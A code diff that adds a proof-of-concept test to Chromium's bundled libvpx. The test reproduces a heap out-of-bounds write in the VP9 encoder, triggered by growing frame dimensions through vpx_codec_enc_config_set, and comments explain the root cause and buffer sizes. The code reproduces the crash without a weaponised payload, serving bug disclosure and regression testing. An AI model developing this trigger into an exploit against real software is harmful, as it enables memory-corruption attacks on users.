diff --git a/third_party/libvpx/BUILD.gn b/third_party/libvpx/BUILD.gn index ec0420017e3b0..a87967447aea6 100644 --- a/third_party/libvpx/BUILD.gn +++ b/third_party/libvpx/BUILD.gn @@ -142,6 +142,15 @@ executable("decode_encode_profile_test") { ] } +# POC: VP9 content_state_sb_fd OOB after dimension-growing config_set. +executable("vp9_content_state_sb_fd_oob_poc") { + configs -= [ "//build/config/compiler:chromium_code" ] + configs += [ "//build/config/compiler:no_chromium_code" ] + testonly = true + sources = [ "tests/poc/vp9_content_state_sb_fd_oob.cc" ] + deps = [ ":libvpx" ] +} + if (current_cpu == "x86" || (current_cpu == "x64" && !is_msan)) { nasm_assemble("libvpx_asm") { if (current_cpu == "x86") { diff --git a/third_party/libvpx/tests/poc/vp9_content_state_sb_fd_oob.cc b/third_party/libvpx/tests/poc/vp9_content_state_sb_fd_oob.cc new file mode 100644 index 0000000000000..5235d3f3a98ce --- /dev/null +++ b/third_party/libvpx/tests/poc/vp9_content_state_sb_fd_oob.cc @@ -0,0 +1,138 @@ +// POC: libvpx VP9 content_state_sb_fd heap OOB write after dimension-growing +// vpx_codec_enc_config_set(). +// +// Root cause: set_rt_speed_feature_framesize_dependent() lazily allocates +// cpi->content_state_sb_fd only when NULL, sized by the *current* frame's +// mi_stride/mi_rows. vp9_change_config() never frees/resizes it. After a +// config_set that grows mi_alloc_size, external_resize is reset to 0, so +// use_source_sad is re-enabled and avg_source_sad() indexes the stale +// (small) buffer with offsets computed from the *new* (large) frame +// geometry -> heap-buffer-overflow. +// +// All Chromium web-reachable wrappers (WebCodecs, WebRTC) currently block the +// precondition (dimension growth without encoder re-init). This POC +// demonstrates the underlying libvpx defect via the public encoder API. + +#include +#include +#include + +#include "vpx/vp8cx.h" +#include "vpx/vpx_encoder.h" +#include "vpx/vpx_image.h" + +namespace { + +// Initial size: 320x240 +// mi_cols=40, mi_rows=30, mi_stride=48 +// content_state_sb_fd = (48>>3) * ((30>>3)+1) = 6 * 4 = 24 bytes +// mi_alloc_size = 48 * (30+8) = 1824 +constexpr unsigned int kInitW = 320; +constexpr unsigned int kInitH = 240; + +// Reconfigured size: 1920x144 +// mi_cols=240, mi_rows=18, mi_stride=248 +// new_mi_size = 248 * (18+8) = 6448 > 1824 -> growth path, +// external_resize reset to 0. +// SB grid: cols=(240+7)>>3=30, rows: mi_row in {0,8,16} -> 3 rows +// max sb_offset2 = 30*2 + 29 = 89 +// 24-byte buffer indexed at [0..89] -> 66-byte OOB write/read. +// vpx_calloc adds at most 39 bytes of alignment slack before the redzone, +// so this overruns the underlying malloc by >= 27 bytes -> ASAN detects. +constexpr unsigned int kBigW = 1920; +constexpr unsigned int kBigH = 144; + +void Die(vpx_codec_ctx_t* ctx, const char* msg) { + fprintf(stderr, "FATAL: %s: %s (%s)\n", msg, vpx_codec_error(ctx), + vpx_codec_error_detail(ctx) ? vpx_codec_error_detail(ctx) : ""); + exit(1); +} + +vpx_image_t* MakeFrame(unsigned int w, unsigned int h, int seed) { + vpx_image_t* img = vpx_img_alloc(nullptr, VPX_IMG_FMT_I420, w, h, 32); + if (!img) { + fprintf(stderr, "vpx_img_alloc failed\n"); + exit(1); + } + // Fill with a flat luma/chroma so per-SB SAD vs. previous frame is 0, + // taking the `tmp_sad < threshold` branch -> content_state_sb_fd[off]++. + for (int p = 0; p < 3; ++p) { + const unsigned int pw = (p == 0) ? w : (w + 1) / 2; + const unsigned int ph = (p == 0) ? h : (h + 1) / 2; + unsigned char* row = img->planes[p]; + for (unsigned int y = 0; y < ph; ++y) { + memset(row, (p == 0) ? (128 + seed) : 128, pw); + row += img->stride[p]; + } + } + return img; +} + +void Drain(vpx_codec_ctx_t* ctx) { + vpx_codec_iter_t it = nullptr; + while (vpx_codec_get_cx_data(ctx, &it) != nullptr) { + } +} + +} // namespace + +int main() { + vpx_codec_ctx_t enc; + vpx_codec_enc_cfg_t cfg; + + if (vpx_codec_enc_config_default(vpx_codec_vp9_cx(), &cfg, 0) != VPX_CODEC_OK) + Die(&enc, "vpx_codec_enc_config_default"); + + cfg.g_w = kInitW; + cfg.g_h = kInitH; + cfg.g_pass = VPX_RC_ONE_PASS; + cfg.g_lag_in_frames = 0; + cfg.g_threads = 1; + cfg.rc_end_usage = VPX_CBR; + cfg.rc_target_bitrate = 500; + cfg.g_timebase.num = 1; + cfg.g_timebase.den = 30; + + if (vpx_codec_enc_init(&enc, vpx_codec_vp9_cx(), &cfg, 0) != VPX_CODEC_OK) + Die(&enc, "vpx_codec_enc_init"); + + // speed >= 6 is required for the lazy content_state_sb_fd allocation, and + // speed >= 5 is required for use_source_sad. REALTIME deadline is required + // for compute_source_sad_onepass. + if (vpx_codec_control(&enc, VP8E_SET_CPUUSED, 7) != VPX_CODEC_OK) + Die(&enc, "VP8E_SET_CPUUSED"); + + fprintf(stderr, "[*] Encoding %u x %u (allocates content_state_sb_fd)\n", + kInitW, kInitH); + for (int i = 0; i < 2; ++i) { + vpx_image_t* f = MakeFrame(kInitW, kInitH, 0); + if (vpx_codec_encode(&enc, f, i, 1, 0, VPX_DL_REALTIME) != VPX_CODEC_OK) + Die(&enc, "vpx_codec_encode (small)"); + Drain(&enc); + vpx_img_free(f); + } + + fprintf(stderr, "[*] Reconfiguring to %u x %u via vpx_codec_enc_config_set\n", + kBigW, kBigH); + cfg.g_w = kBigW; + cfg.g_h = kBigH; + if (vpx_codec_enc_config_set(&enc, &cfg) != VPX_CODEC_OK) + Die(&enc, "vpx_codec_enc_config_set"); + + fprintf(stderr, + "[*] Encoding %u x %u (frame 2+ should OOB-write " + "content_state_sb_fd)\n", + kBigW, kBigH); + for (int i = 0; i < 4; ++i) { + vpx_image_t* f = MakeFrame(kBigW, kBigH, 0); + if (vpx_codec_encode(&enc, f, 2 + i, 1, 0, VPX_DL_REALTIME) != VPX_CODEC_OK) + Die(&enc, "vpx_codec_encode (large)"); + Drain(&enc); + vpx_img_free(f); + } + + vpx_codec_destroy(&enc); + fprintf(stderr, + "[!] No ASAN report - bug may be fixed or preconditions not met.\n"); + return 0; +}